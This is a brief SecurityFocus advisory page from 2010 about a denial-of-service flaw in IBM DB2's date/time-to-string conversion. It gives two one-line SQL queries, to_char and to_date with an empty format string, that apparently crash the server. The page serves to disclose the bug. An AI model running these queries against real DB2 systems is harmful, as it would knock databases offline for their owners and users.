IBM DB2 DTS To String Conversion Denial Of Service Vulnerability

There is no exploit required. The following examples were provided:

select to_char('aaa','') from sysibm.sysdummy1
select to_date('aaa', '') from sysibm.sysdummy1


 

Privacy Statement
Copyright 2010, SecurityFocus